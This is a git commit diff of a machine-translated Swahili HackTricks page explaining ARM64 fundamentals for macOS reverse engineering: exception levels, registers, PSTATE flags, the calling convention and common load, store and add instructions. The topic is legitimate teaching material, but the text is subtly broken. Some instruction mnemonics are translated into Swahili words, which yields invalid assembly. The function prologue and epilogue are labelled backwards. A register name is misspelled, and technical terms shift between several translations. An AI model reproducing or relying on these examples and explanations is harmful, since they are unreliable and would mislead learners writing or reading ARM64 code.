Translated ['macos-hardening/macos-security-and-privilege-escalation/mac

This commit is contained in:
Translator 2024-04-19 06:29:56 +00:00
parent 194fcd6f0d
commit cca6c180f7
2 changed files with 278 additions and 259 deletions

View file

@ -2,11 +2,11 @@
<details>
<summary><strong>Jifunze kuhusu udukuzi wa AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
<summary><strong>Jifunze AWS hacking kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Njia nyingine za kusaidia HackTricks:
* Ikiwa unataka kuona **kampuni yako ikionekana kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA USAJILI**](https://github.com/sponsors/carlospolop)!
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA USAJILI**](https://github.com/sponsors/carlospolop)!
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
@ -16,56 +16,56 @@ Njia nyingine za kusaidia HackTricks:
## **Viwango vya Kipekee - EL (ARM64v8)**
Katika usanifu wa ARMv8, viwango vya utekelezaji, vinavyoitwa Viwango vya Kipekee (ELs), vinataja kiwango cha haki na uwezo wa mazingira ya utekelezaji. Kuna viwango vinne vya kipekee, kuanzia EL0 hadi EL3, kila kimoja kikitoa lengo tofauti:
Katika usanifu wa ARMv8, viwango vya utekelezaji, vinavyojulikana kama Viwango vya Kipekee (ELs), vinataja kiwango cha uwezo na uwezo wa mazingira ya utekelezaji. Kuna viwango vinne vya kipekee, kuanzia EL0 hadi EL3, kila kimoja kikitoa lengo tofauti:
1. **EL0 - Hali ya Mtumiaji**:
* Hii ni kiwango cha chini cha haki na hutumiwa kwa kutekeleza nambari za maombi ya kawaida.
* Maombi yanayoendesha kwenye EL0 yamejitenga kutoka kwa mengine na kutoka kwa programu ya mfumo, ikiboresha usalama na utulivu.
* Hii ni kiwango cha chini cha uwezo na hutumiwa kwa kutekeleza nambari za maombi ya kawaida.
* Programu zinazoendesha kwenye EL0 zimejitenga kutoka kwa nyingine na kutoka kwa programu ya mfumo, ikiboresha usalama na utulivu.
2. **EL1 - Hali ya Msingi ya Mfumo wa Uendeshaji**:
* Zaidi ya majitu ya mfumo wa uendeshaji hufanya kazi kwenye kiwango hiki.
* EL1 ina haki zaidi kuliko EL0 na inaweza kupata rasilimali za mfumo, lakini kwa vikwazo fulani kuhakikisha uadilifu wa mfumo.
* Zaidi ya majedwali ya mfumo wa uendeshaji hufanya kazi kwenye kiwango hiki.
* EL1 ina uwezo zaidi kuliko EL0 na inaweza kupata rasilimali za mfumo, lakini kwa baadhi ya vizuizi kuhakikisha uadilifu wa mfumo.
3. **EL2 - Hali ya Hypervisor**:
* Kiwango hiki hutumiwa kwa uvirtualization. Hypervisor inayotekelezwa kwenye EL2 inaweza kusimamia mifumo mingi ya uendeshaji (kila moja katika EL1 yake) ikitekelezwa kwenye vifaa vya kimwili sawa.
* EL2 hutoa vipengele vya kujitenga na kudhibiti mazingira vilivyovirtualized.
4. **EL3 - Hali ya Kufuatilia Salama**:
* Hii ni kiwango cha haki zaidi na mara nyingi hutumiwa kwa kuanzisha salama na mazingira ya utekelezaji yanayoweza kudhibitika.
* EL3 inaweza kusimamia na kudhibiti ufikiaji kati ya hali salama na zisizo salama (kama vile kuanzisha salama, OS ya kuaminika, n.k.).
* Hii ni kiwango cha juu zaidi cha uwezo na mara nyingi hutumiwa kwa kuanzisha salama na mazingira ya utekelezaji yanayoweza kudhibitika.
* EL3 inaweza kusimamia na kudhibiti ufikiaji kati ya hali salama na zisizo salama (kama vile kuanzisha salama, OS iliyosadikika, n.k.).
Matumizi ya viwango hivi hutoa njia iliyopangwa na salama ya kusimamia vipengele tofauti vya mfumo, kutoka kwa maombi ya mtumiaji hadi programu ya mfumo yenye haki zaidi. Mbinu ya ARMv8 kwa viwango vya haki husaidia katika kujitenga kwa ufanisi sehemu tofauti za mfumo, hivyo kuboresha usalama na uthabiti wa mfumo.
Matumizi ya viwango hivi hutoa njia iliyopangwa na salama ya kusimamia vipengele tofauti vya mfumo, kutoka kwa programu za watumiaji hadi programu ya mfumo yenye uwezo zaidi. Mbinu ya ARMv8 kwa viwango vya uwezo husaidia katika kujitenga kwa ufanisi sehemu tofauti za mfumo, hivyo kuboresha usalama na uthabiti wa mfumo.
## **Vidhibiti (ARM64v8)**
ARM64 ina **vidhibiti vya jumla vya 31**, vilivyopewa majina `x0` hadi `x30`. Kila moja inaweza kuhifadhi thamani ya **64-bit** (baiti 8). Kwa operesheni zinazohitaji thamani za biti 32 tu, vidhibiti sawa vinaweza kupatikana kwa njia ya biti 32 kwa kutumia majina w0 hadi w30.
ARM64 ina **vidhibiti vya jumla vya 31**, vilivyopewa majina `x0` hadi `x30`. Kila moja inaweza kuhifadhi thamani ya **64-bit** (baiti 8). Kwa operesheni zinazohitaji thamani za biti 32 tu, vidhibiti sawa vinaweza kupatikana kwa hali ya biti 32 kwa kutumia majina w0 hadi w30.
1. **`x0`** hadi **`x7`** - Kawaida hutumiwa kama vidhibiti vya haraka na kwa kupitisha parameta kwa subroutines.
1. **`x0`** hadi **`x7`** - Mara nyingi hutumiwa kama vidhibiti vya kufuta na kwa kupitisha parameta kwa taratibu ndogo.
* **`x0`** pia inabeba data ya kurudi ya kazi
2. **`x8`** - Katika kerneli ya Linux, `x8` hutumiwa kama nambari ya wito wa mfumo kwa maelekezo ya `svc`. **Katika macOS x16 ndio hutumiwa!**
3. **`x9`** hadi **`x15`** - Vidhibiti vya muda mrefu zaidi, mara nyingi hutumiwa kwa vidhibiti vya mitaa.
4. **`x16`** na **`x17`** - **Vidhibiti vya Wito wa Ndani wa Mchakato**. Vidhibiti vya muda mfupi kwa thamani za moja kwa moja. Pia hutumiwa kwa wito wa kazi za moja kwa moja na PLT (Procedure Linkage Table) stubs.
4. **`x16`** na **`x17`** - **Vidhibiti vya Wito wa Ndani-ndani**. Vidhibiti vya muda mfupi kwa thamani za moja kwa moja. Pia hutumiwa kwa wito wa kazi za moja kwa moja na PLT (Jedwali la Uunganisho wa Taratibu) stubs.
* **`x16`** hutumiwa kama **nambari ya wito wa mfumo** kwa maelekezo ya **`svc`** katika **macOS**.
5. **`x18`** - **Dhibiti la Jukwaa**. Inaweza kutumika kama dhibiti la jumla, lakini kwenye majukwaa fulani, dhibiti huu unahifadhiwa kwa matumizi maalum ya jukwaa: Kielekezi cha kizuizi cha mazingira ya wajibu wa sasa katika Windows, au kuelekeza kwa muundo wa kazi inayoendeshwa kwa sasa katika kerneli ya Linux.
6. **`x19`** hadi **`x28`** - Hizi ni vidhibiti vinavyohifadhiwa kwa wito. Kazi lazima ihifadhi thamani za vidhibiti hivi kwa mpigaji wake, hivyo huhifadhiwa kwenye steki na kurejeshwa kabla ya kurudi kwa mpigaji.
7. **`x29`** - **Dhibiti la Fremu** linalotunza rekodi ya fremu ya steki. Wakati fremu mpya ya steki inaundwa kwa sababu kazi inaitwa, dhibiti la **`x29`** linahifadhiwa kwenye steki na anwani mpya ya fremu (**anwani ya `sp`**) inahifadhiwa kwenye dhibiti hili.
* Dhibiti hili pia linaweza kutumika kama **dhibiti la jumla** ingawa kawaida hutumiwa kama kumbukumbu ya **vidhibiti vya mitaa**.
8. **`x30`** au **`lr`**- **Dhibiti la Kiungo**. Linashikilia **anwani ya kurudi** wakati maelekezo ya `BL` (Branch with Link) au `BLR` (Branch with Link to Register) yanatekelezwa kwa kuhifadhi thamani ya **`pc`** kwenye dhibiti hili.
* Pia inaweza kutumika kama dhibiti lingine lolote.
* Ikiwa kazi ya sasa itaita kazi mpya na hivyo kubadilisha `lr`, itahifadhi kwenye steki mwanzoni, hii ni epilogue (`stp x29, x30 , [sp, #-48]; mov x29, sp` -> Hifadhi `fp` na `lr`, tengeneza nafasi na pata `fp` mpya) na kuirudisha mwishoni, hii ni prologue (`ldp x29, x30, [sp], #48; ret` -> Rudisha `fp` na `lr` na rudi).
9. **`sp`** - **Dhibiti wa Staki**, hutumiwa kutunza juu ya steki.
* thamani ya **`sp`** daima inapaswa kuhifadhiwa angalau kwa **urekebishaji wa quadword** au kutokea kwa kosa la urekebishaji.
10. **`pc`** - **Kielekezi cha Programu**, kinachoelekeza kwa maelekezo yanayofuata. Dhibiti hii inaweza kusasishwa kupitia kizazi cha kipekee, kurudi kwa kipekee, na matawi. Maelekezo ya kawaida pekee yanayoweza kusoma dhibiti hii ni maelekezo ya matawi na viungo (BL, BLR) kuhifadhi anwani ya **`pc`** kwenye **`lr`** (Dhibiti la Kiungo).
11. **`xzr`** - **Dhibiti la Sifuri**. Pia huitwa **`wzr`** katika fomu yake ya dhibiti ya biti **32**. Inaweza kutumika kupata thamani ya sifuri kwa urahisi (operesheni ya kawaida) au kufanya mlinganisho kutumia **`subs`** kama **`subs XZR, Xn, #10`** kuhifadhi data inayotokana mahali popote (katika **`xzr`**).
5. **`x18`** - **Kudhibiti jukwaa**. Inaweza kutumika kama kudhibiti wa jumla, lakini kwenye majukwaa fulani, kudhibiti huu unahifadhiwa kwa matumizi maalum ya jukwaa: Kiashiria kwa kizuizi cha mazingira ya wajibu wa sasa katika Windows, au kuashiria muundo wa kazi inayoendeshwa kwa sasa katika kerneli ya Linux.
6. **`x19`** hadi **`x28`** - Hizi ni vidhibiti vinavyohifadhiwa na wito. Kazi lazima ihifadhi thamani za vidhibiti hivi kwa mpigaji wake, kwa hivyo zinahifadhiwa kwenye stak na kurejeshwa kabla ya kurudi kwa mpigaji.
7. **`x29`** - **Kudhibiti wa Fremu** kufuatilia fremu ya stak. Wakati fremu mpya ya stak inaundwa kwa sababu kazi inaitwa, kudhibiti cha **`x29`** kina **hifadhiwa kwenye stak** na anwani mpya ya fremu (**anwani ya `sp`**) inahifadhiwa kwenye kudhibiti hiki.
* Kudhibiti hiki pia kinaweza kutumika kama **kudhibiti wa jumla** ingawa kawaida hutumiwa kama kumbukumbu ya **vidhibiti vya mitaa**.
8. **`x30`** au **`lr`**- **Kudhibiti wa Kiungo**. Unashikilia **anwani ya kurudi** wakati maelekezo ya `BL` (Tawi na Kiungo) au `BLR` (Tawi na Kiungo kwenda Kudhibiti) yanatekelezwa kwa kuhifadhi thamani ya **`pc`** kwenye kudhibiti hiki.
* Inaweza pia kutumika kama kudhibiti lingine lolote.
* Ikiwa kazi ya sasa itaita kazi mpya na hivyo kubadilisha `lr`, itahifadhi kwenye stak mwanzoni, hii ni epilogo (`stp x29, x30 , [sp, #-48]; mov x29, sp` -> Hifadhi `fp` na `lr`, tengeneza nafasi na pata `fp` mpya) na kuirudisha mwishoni, hii ni prologue (`ldp x29, x30, [sp], #48; ret` -> Rudisha `fp` na `lr` na rudi).
9. **`sp`** - **Kielekezi cha Stak**, hutumiwa kufuatilia juu ya stak.
* thamani ya **`sp`** daima inapaswa kudumishwa angalau kwa **urekebishaji wa quadword** au kutokea kwa kipekee cha urekebishaji.
10. **`pc`** - **Kielekezi cha Programu**, kinachoelekeza kwa maelekezo yanayofuata. Kudhibiti hiki kinaweza kusasishwa kupitia kizazi cha kipekee, kurudi kwa kipekee, na matawi. Maelekezo ya kawaida pekee yanayoweza kusoma kudhibiti hiki ni maelekezo ya tawi na kiungo (BL, BLR) kuhifadhi anwani ya **`pc`** kwenye **`lr`** (Kudhibiti la Kiungo).
11. **`xzr`** - **Kudhibiti cha Sifuri**. Pia huitwa **`wzr`** katika fomu yake ya kudhibiti ya biti **32**. Inaweza kutumika kupata thamani ya sifuri kwa urahisi (operesheni ya kawaida) au kufanya mlinganisho kutumia **`subs`** kama **`subs XZR, Xn, #10`** kuhifadhi data inayotokana mahali popote (katika **`xzr`**).
Vidhibiti vya **Wn** ni toleo la **32bit** la dhibiti la **Xn**.
Vidhibiti vya **`Wn`** ni toleo la **32bit** la kudhibiti cha **`Xn`**.
### Vidhibiti vya SIMD na Floating-Point
Zaidi ya hayo, kuna vidhibiti vingine **32 vya urefu wa 128bit** vinavyoweza kutumika katika operesheni zilizooanishwa za data nyingi kwa maelekezo moja (SIMD) na kwa kufanya hesabu za nukta kikatika. Hivi huitwa vidhibiti vya Vn ingawa wanaweza pia kufanya kazi katika **64**-bit, **32**-bit, **16**-bit na **8**-bit na kisha huitwa **`Qn`**, **`Dn`**, **`Sn`**, **`Hn`** na **`Bn`**.
### **Vidhibiti vya Mfumo**
Zaidi ya hayo, kuna vidhibiti vingine **32 vya urefu wa 128bit** vinavyoweza kutumika katika operesheni zilizooanishwa za data nyingi kwa maelekezo moja (SIMD) na kwa kufanya hesabu za nukta kikomo. Hivi huitwa vidhibiti vya Vn ingawa wanaweza pia kufanya kazi katika **64**-bit, **32**-bit, **16**-bit na **8**-bit na kisha huitwa **`Qn`**, **`Dn`**, **`Sn`**, **`Hn`** na **`Bn`**.
### Vipimo vya Mfumo
**Kuna vidhibiti vya mfumo vingi**, vinavyoitwa pia vidhibiti maalum vya kusudi (SPRs), hutumika kwa **kuangalia** na **kudhibiti** **tabia za processors**.\
Vinaweza kusomwa au kuwekwa tu kwa kutumia maagizo maalum ya kujitolea **`mrs`** na **`msr`**.
**Kuna mamia ya vipimo vya mfumo**, vinavyoitwa pia kama vipimo maalum vya kusudi (SPRs), hutumika kwa **kufuatilia** na **kudhibiti** **tabia za processors**.\
Vinaweza kusomwa au kuwekwa tu kwa kutumia maagizo maalum yaliyotengwa **`mrs`** na **`msr`**.
Vidhibiti maalum **`TPIDR_EL0`** na **`TPIDDR_EL0`** mara nyingi hupatikana wakati wa kugeuza. Kiambishi cha `EL0` kinaonyesha **kosa la chini** ambapo vidhibiti vinaweza kupatikana (katika kesi hii EL0 ni kosa la kawaida (haki) kiwango cha kawaida ambacho programu za kawaida hufanya nayo).\
Vipimo maalum **`TPIDR_EL0`** na **`TPIDDR_EL0`** mara nyingi hupatikana wakati wa kurekebisha. Kiambishi cha `EL0` kinaonyesha **kosa la chini** ambalo kipimo kinaweza kupatikana nacho (katika kesi hii EL0 ni kosa la kawaida (haki) ambalo programu za kawaida hufanya nalo).\
Maranyingi hutumika kuhifadhi **anwani ya msingi ya eneo la kuhifadhi la mnyororo wa wateja** la kumbukumbu. Kawaida la kwanza linaweza kusomwa na kuandikwa kwa programu zinazoendesha katika EL0, lakini la pili linaweza kusomwa kutoka EL0 na kuandikwa kutoka EL1 (kama kernel).
* `mrs x0, TPIDR_EL0 ; Soma TPIDR_EL0 hadi x0`
@ -73,12 +73,12 @@ Maranyingi hutumika kuhifadhi **anwani ya msingi ya eneo la kuhifadhi la mnyoror
### **PSTATE**
**PSTATE** ina vipengele vingi vya mchakato vilivyosanidiwa katika vidhibiti maalum vya **`SPSR_ELx`**, X ikiwa ni **kiwango cha ruhusa cha kosa** kilichochochewa (hii inaruhusu kurejesha hali ya mchakato wakati kosa linamalizika).\
**PSTATE** ina vipengele vingi vya mchakato vilivyosanidishwa katika kipimo maalum cha **`SPSR_ELx`**, X ikiwa ni **kiwango cha ruhusa cha kosa** kilichosababishwa (hii inaruhusu kurejesha hali ya mchakato wakati kosa linamalizika).\
Hizi ni sehemu zinazopatikana:
<figure><img src="../../../.gitbook/assets/image (1193).png" alt=""><figcaption></figcaption></figure>
* **`N`**, **`Z`**, **`C`** na **`V`** hali za masharti:
* **`N`**, **`Z`**, **`C`** na **`V`** hali za hali:
* **`N`** inamaanisha operesheni ilizalisha matokeo hasi
* **`Z`** inamaanisha operesheni ilizalisha sifuri
* **`C`** inamaanisha operesheni ilibeba
@ -86,125 +86,125 @@ Hizi ni sehemu zinazopatikana:
* Jumla ya nambari mbili chanya inazalisha matokeo hasi.
* Jumla ya nambari mbili hasi inazalisha matokeo chanya.
* Katika upunguzaji, wakati nambari kubwa hasi inapunguzwa kutoka kwa nambari ndogo chanya (au kinyume chake), na matokeo hayawezi kuwakilishwa ndani ya safu ya ukubwa wa biti iliyotolewa.
* Kwa dhahiri, processor hajui operesheni ni ya kusainiwa au la, kwa hivyo itachunguza C na V katika operesheni na kuonyesha ikiwa kuna kubeba ilitokea ikiwa ilikuwa ya kusainiwa au la.
* Kwa dhahiri processor hajui operesheni ni ya kusainiwa au la, kwa hivyo itachunguza C na V katika operesheni na kuonyesha ikiwa kipeo kilitokea ikiwa ilikuwa ya kusainiwa au la.
{% hint style="warning" %}
Sio maagizo yote yanayosasisha hizi bendera. Baadhi kama **`CMP`** au **`TST`** hufanya hivyo, na zingine zenye kiambishi cha s kama **`ADDS`** pia hufanya hivyo.
Sio maagizo yote yanayosasisha hali hizi. Baadhi kama **`CMP`** au **`TST`** hufanya hivyo, na zingine zenye kiambishi cha s kama **`ADDS`** pia hufanya hivyo.
{% endhint %}
* Bendera ya sasa ya **urefu wa kusajili (`nRW`)**: Ikiwa bendera inashikilia thamani 0, programu itaendesha katika hali ya utekelezaji wa AArch64 mara tu itakaporejeshwa.
* **Kiwango cha Kosa** cha sasa (**`EL`**): Programu ya kawaida inayoendesha katika EL0 itakuwa na thamani 0
* Bendera ya **hatua moja** (**`SS`**): Hutumiwa na wachunguzi wa kosa kwa hatua moja kwa kuweka bendera ya SS kuwa 1 ndani ya **`SPSR_ELx`** kupitia kosa. Programu itaendesha hatua na kutoa kosa la hatua moja.
* Bendera ya hali ya kosa isiyo halali (**`IL`**): Hutumiwa kuashiria wakati programu yenye ruhusa inafanya uhamisho wa kiwango cha kosa kisichofaa, bendera hii inawekwa kuwa 1 na processor kuzindua kosa la hali isiyo halali.
* Bendera za **`DAIF`**: Bendera hizi huruhusu programu yenye ruhusa kuficha kwa hiari baadhi ya kosa la nje.
* Ikiwa **`A`** ni 1 inamaanisha **kuzimwa kwa ghafla** kutazinduliwa. **`I`** inaashiria kujibu kwa **Ombi la Kuingilia la Vifaa vya Nje** (IRQs). na F inahusiana na **Ombi za Kuingilia za Haraka** (FIRs).
* Bendera za kuchagua za **kuchagua kidole cha steki** (**`SPS`**): Programu zenye ruhusa zinazoendesha katika EL1 na zaidi zinaweza kubadilisha kati ya kutumia kusajili la kidole chao la steki na moja ya mfano wa mtumiaji (k.m. kati ya `SP_EL1` na `EL0`). Hii kubadilishana hufanywa kwa kuandika kwa vidhibiti maalum vya **`SPSel`**. Hii haiwezi kufanywa kutoka EL0.
* **Kiwango cha sasa cha usajili (`nRW`)** hali: Ikiwa bendera inashikilia thamani 0, programu itaendeshwa katika hali ya utekelezaji wa AArch64 mara tu itakaporejeshwa.
* **Kiwango cha Kosa la Kipekee** (**`EL`**): Programu ya kawaida inayoendesha katika EL0 itakuwa na thamani 0
* Kipeo cha **hatua moja** bendera (**`SS`**): Hutumiwa na wachunguzi wa kosa kwa hatua moja kwa kuweka bendera ya SS kuwa 1 ndani ya **`SPSR_ELx`** kupitia kosa. Programu itaendesha hatua na kutoa kosa la hatua moja.
* Kipeo cha hali ya kosa **isivyoruhusiwa** bendera (**`IL`**): Hutumiwa kuashiria wakati programu yenye ruhusa inafanya uhamisho wa kiwango cha kosa usio halali, bendera hii inawekwa kuwa 1 na processor kuzindua kosa la hali isiyo halali.
* Bendera za **`DAIF`**: Bendera hizi huruhusu programu yenye ruhusa kuficha kwa hiari baadhi ya kipeo cha nje.
* Ikiwa **`A`** ni 1 inamaanisha **kuzimwa kwa ghafla** kutazinduliwa. **`I`** inaashiria kujibu kwa **Ombi la Kuingilia** la vifaa vya nje (IRQs). na F inahusiana na **Ombi za Kuingilia Haraka** (FIRs).
* Bendera za **teuzi za kidole cha mstari** (**`SPS`**): Programu zenye ruhusa zinazoendesha katika EL1 na zaidi zinaweza kubadilishana kati ya kutumia usajili wao wa kidole cha mstari na wa mtumiaji (k.m. kati ya `SP_EL1` na `EL0`). Hii kubadilishana hufanywa kwa kuandika kwa kipimo maalum cha **`SPSel`**. Hii haiwezi kufanywa kutoka EL0.
## **Mkataba wa Kuita (ARM64v8)**
Mkataba wa kuita wa ARM64 unabainisha kwamba **parameta nane za kwanza** kwa kazi hutumwa katika vidhibiti **`x0` hadi `x7`**. **Parameta zaidi** hutumwa kwenye **steki**. Thamani ya **kurudi** hutumwa kwenye kusajili **`x0`**, au pia katika **`x1`** pia **ikiwa ni urefu wa biti 128**. Vidhibiti vya **`x19`** hadi **`x30`** na **`sp`** lazima viwe **vimehifadhiwa** kupitia wito wa kazi.
Mkataba wa kuita wa ARM64 unabainisha kwamba **parameta nane za kwanza** kwa kazi hutumwa katika usajili **`x0` hadi `x7`**. **Parameta zaidi** hutumwa kwenye **stakishi**. Thamani ya **kurudi** hutumwa kwenye usajili **`x0`**, au pia katika **`x1`** ikiwa ni **biti 128 ndefu**. Usajili wa **`x19`** hadi **`x30`** na **`sp`** lazima uhifadhiwe kwa wito wa kazi.
Unaposoma kazi katika mkusanyiko, tafuta **prologue na epilogue** ya kazi. **Prologue** kawaida inajumuisha **kuhifadhi kiashiria cha fremu (`x29`)**, **kuweka** fremu **muhimu mpya**, na **kutenga nafasi ya steki**. **Epilogue** kawaida inajumuisha **kurudisha kiashiria cha fremu kilichohifadhiwa** na **kurudi** kutoka kwa kazi.
Unaposoma kazi katika mkusanyiko, tafuta **prologue na epilogue** ya kazi. **Prologue** kawaida inajumuisha **kuhifadhi kiashiria cha fremu (`x29`)**, **kuweka** fremu **muhimu**, na **kutenga nafasi ya stakishi**. **Epilogue** kawaida inajumuisha **kurudisha kiashiria cha fremu kilichohifadhiwa** na **kurudi** kutoka kwa kazi.
### Mkataba wa Kuita katika Swift
Swift ina **mkataba wake wa kuita** ambao unaweza kupatikana katika [**https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64**](https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64)
## **Maagizo Maarufu (ARM64v8)**
## **Maagizo ya Kawaida (ARM64v8)**
Maagizo ya ARM64 kwa ujumla yana **muundo wa `opcode dst, src1, src2`**, ambapo **`opcode`** ni **operesheni** itakayotekelezwa (kama vile `ongeza`, `punguza`, `hamisha`, nk.), **`dst`** ni kusajili cha **marudio** ambapo matokeo yatahifadhiwa, na **`src1`** na **`src2`** ni **vidhibiti vya chanzo**. Thamani za mara moja pia zinaweza kutumika mahali pa vidhibiti vya chanzo.
Maagizo ya ARM64 kwa ujumla yana **muundo wa `opcode dst, src1, src2`**, ambapo **`opcode`** ni **operesheni** itakayotekelezwa (kama vile `ongeza`, `punguza`, `hamisha`, nk.), **`dst`** ni usajili wa **marudio** ambapo matokeo yatahifadhiwa, na **`src1`** na **`src2`** ni **usajili wa chanzo**. Thamani za moja kwa moja pia zinaweza kutumika mahali pa usajili wa chanzo.
* **`hamisha`**: **Hamisha** thamani kutoka kwa **kusajili** kwa mwingine.
* **`hamisha`**: **Hamisha** thamani kutoka kwa **usajili** mmoja kwenda mwingine.
* Mfano: `hamisha x0, x1` — Hii inahamisha thamani kutoka `x1` hadi `x0`.
* **`ldr`**: **Pakia** thamani kutoka **kumbukumbu** hadi **kusajili**.
* Mfano: `ldr x0, [x1]` — Hii inapakia thamani kutoka kwa eneo la kumbukumbu linaloelekezwa na `x1` hadi `x0`.
* **Hali ya kufuta**: Kufuta inayoathiri kidhibiti cha awali inaonyeshwa, kwa mfano:
* `ldr x2, [x1, #8]`, hii itapakia katika x2 thamani kutoka x1 + 8
* &#x20;`ldr x2, [x0, x1, lsl #2]`, hii itapakia katika x2 kitu kutoka kwenye safu x0, kutoka kwa nafasi x1 (indeksi) \* 4
* **Hali ya kabla ya kufuta**: Hii itatumia hesabu kwa asili, kupata matokeo na pia kuhifadhi asili mpya katika asili.
* **`ldr`**: **Pakia** thamani kutoka kwa **kumbukumbu** hadi **usajili**.
* Mfano: `ldr x0, [x1]` — Hii inapakia thamani kutoka kwenye eneo la kumbukumbu linaloelekezwa na `x1` hadi `x0`.
* **Hali ya kufuta**: Kufuta inayoathiri kidole cha mstari inaonyeshwa, kwa mfano:
* `ldr x2, [x1, #8]`, hii itapakia x2 thamani kutoka x1 + 8
* &#x20;`ldr x2, [x0, x1, lsl #2]`, hii itapakia x2 kitu kutoka kwenye safu x0, kutoka kwenye nafasi x1 (indeksi) \* 4
* **Hali ya kabla ya teuzi**: Hii itatumia hesabu kwa asili, kupata matokeo na pia kuhifadhi asili mpya katika asili.
* `ldr x2, [x1, #8]!`, hii itapakia `x1 + 8` katika `x2` na kuhifadhi katika x1 matokeo ya `x1 + 8`
* `str lr, [sp, #-4]!`, Hifadhi kiashiria cha kiungo katika sp na sasisha kusajili sp
* **Hali ya baada ya kufuta**: Hii ni kama ile ya awali lakini anwani ya kumbukumbu inafikiwa kisha kufuta hufanywa na kuhifadhiwa.
* `str lr, [sp, #-4]!`, Hifadhi kiashiria cha kiungo katika sp na sasisha usajili wa sp
* **Hali ya baada ya teuzi**: Hii ni kama ile ya awali lakini anwani ya kumbukumbu inafikiwa kisha kufuta inahesabiwa na kuhifadhiwa.
* `ldr x0, [x1], #8`, pakia `x1` katika `x0` na sasisha x1 na `x1 + 8`
* **Kuwasiliana kwa PC-relative**: Katika kesi hii anwani ya kupakia inahesabiwa kulingana na kusajili cha PC
* **Anwani inayohusiana na PC**: Katika kesi hii anwani ya kupakia inahesabiwa kulingana na usajili wa PC
* `ldr x1, =_start`, Hii itapakia anwani ambapo ishara ya `_start` inaanza katika x1 inayohusiana na PC ya sasa.
* **`str`**: **Hifadhi** thamani kutoka kwa **kusajili** kwenye **kumbukumbu**.
* **`str`**: **Hifadhi** thamani kutoka kwa **usajili** kwenda kwa **kumbukumbu**.
* Mfano: `str x0, [x1]` — Hii inahifadhi thamani katika `x0` kwenye eneo la kumbukumbu linaloelekezwa na `x1`.
* **`ldp`**: **Pakia Jozi ya Vidhibiti**. Maagizo haya **hupakia vidhibiti viwili** kutoka kwa **eneo la kumbukumbu** za mfululizo. Anwani ya kumbukumbu kawaida hufanywa kwa kuongeza kufuta kwa thamani katika kusajili kingine.
* Mfano: `ldp x0, x1, [x2]` — Hii inapakia `x0` na `x1` kutoka kwa eneo la kumbukumbu katika `x2` na `x2 + 8`, mtawalia.
* **`stp`**: **Hifadhi Jozi ya Vidhibiti**. Maagizo haya **huhifadhi vidhibiti viwili** kwa **eneo la kumbukumbu** za mfululizo. Anwani ya kumbukumbu kawaida hufanywa kwa kuongeza kufuta kwa thamani katika kusajili kingine.
* Mfano: `stp x0, x1, [sp]` — Hii inahifadhi `x0` na `x1` kwenye eneo la kumbukumbu katika `sp` na `sp + 8`, mtawalia.
* `stp x0, x1, [sp, #16]!` — Hii inahifadhi `x0` na `x1` kwenye eneo la kumbukumbu katika `sp+16` na `sp + 24`, mtawalia, na kusasisha `sp` na `sp+16`.
* **`ongeza`**: **Ongeza** thamani za vidhibiti viwili na uhifadhi matokeo kwenye kusajili.
* Sintaksia: ongeza(s) Xn1, Xn2, Xn3 | #imm, \[geuka #N | RRX]
* Xn1 -> Mahali pa Kuelekea
* Xn2 -> Operesheni 1
* Xn3 | #imm -> Operesheni 2 (daftari au mara moja)
* \[geuka #N | RRX] -> Fanya geuka au piga simu kwa RRX
* Mfano: `ongeza x0, x1, x2` — Hii inaongeza thamani katika `x1` na `x2` pamoja na kuhifadhi matokeo katika `x0`.
* `ongeza x5, x5, #1, lsl #12` — Hii inalingana na 4096 (1 inayogeuzwa mara 12) -> 1 0000 0000 0000 0000
* **`ongeza`** Hii hufanya `ongeza` na kusasisha bendera
* **`sub`**: **Punguza** thamani za daftari mbili na uhifadhi matokeo katika daftari.
* Angalia **sintaksia ya `ongeza`**.
* **`ldp`**: **Pakia Jozi ya Usajili**. Maagizo haya **hupakia usajili mbili** kutoka kwa **eneo la kumbukumbu** za mfululizo. Anwani ya kumbukumbu kawaida hupatikana kwa kuongeza kufuta kwa thamani katika usajili mwingine.
* Mfano: `ldp x0, x1, [x2]` — Hii inapakia `x0` na `x1` kutoka kwenye maeneo ya kumbukumbu kwenye `x2` na `x2 + 8`, mtawalia.
* **`stp`**: **Hifadhi Jozi ya Usajili**. Maagizo haya **huhifadhi usajili mbili** kwa **eneo la kumbukumbu** za mfululizo. Anwani ya kumbukumbu kawaida hupatikana kwa kuongeza kufuta kwa thamani katika usajili mwingine.
* Mfano: `stp x0, x1, [sp]` — Hii inahifadhi `x0` na `x1` kwenye maeneo ya kumbukumbu kwenye `sp` na `sp + 8`, mtawalia.
* `stp x0, x1, [sp, #16]!` — Hii inahifadhi `x0` na `x1` kwenye maeneo ya kumbukumbu kwenye `sp+16` na `sp + 24`, mtawalia, na kusasisha `sp` na `sp+16`.
* **`ongeza`**: **Ongeza** thamani za usajili mbili na uhifadhi matokeo katika usajili.
* **Syntax**: Ongeza(s) Xn1, Xn2, Xn3 | #imm, \[shift #N | RRX]
* Xn1 -> Marudio
* Xn2 -> Operandi 1
* Xn3 | #imm -> Operandi 2 (kielekezi au mara moja)
* \[shift #N | RRX] -> Fanya mabadiliko au piga simu kwa RRX
* Mfano: `add x0, x1, x2` — Hii inaongeza thamani katika `x1` na `x2` pamoja na kuhifadhi matokeo katika `x0`.
* `add x5, x5, #1, lsl #12` — Hii inalingana na 4096 (1 iliyohamishwa mara 12) -> 1 0000 0000 0000 0000
* **`adds`** Hii hufanya `add` na kusasisha bendera
